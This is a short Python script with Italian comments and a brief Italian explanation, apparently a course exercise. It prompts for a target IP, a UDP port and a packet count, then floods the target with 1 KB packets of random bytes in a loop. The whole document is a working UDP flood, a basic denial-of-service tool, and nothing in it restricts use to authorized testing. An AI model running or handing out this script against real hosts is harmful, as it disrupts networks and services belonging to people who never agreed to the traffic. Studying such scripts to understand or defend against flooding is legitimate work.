

```
import socket
import random

# Input dell'IP Target e della Porta Target
target_ip = input("Inserisci l'IP della macchina target: ")
target_port = int(input("Inserisci la porta UDP della macchina target: "))

# Costruzione del Pacchetto di 1 KB
packet_size = 1024 # 1 KB
packet = random._urandom(packet_size) # Generazione di byte casuali per il pacchetto

# Input del numero di pacchetti da inviare
num_packets = int(input("Quanti pacchetti da 1 KB vuoi inviare? "))

# Creazione del socket UDP
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Invio dei pacchetti
print("Inizio invio dei pacchetti...")
for _ in range(num_packets):
    sock.sendto(packet, (target_ip, target_port))

print("Invio completato.")
```

# spiegazione:

**Input dell'IP e Porta Target:** Il programma richiede all'utente di inserire l'IP e la porta della macchina target.

**Costruzione del Pacchetto:** Utilizza il modulo random per creare un pacchetto di 1 KB di byte casuali.

**Numero di Pacchetti:** L'utente può specificare quanti pacchetti inviare.

**Invio dei Pacchetti:** Utilizza un ciclo per inviare il numero di pacchetti richiesti attraverso un socket UDP.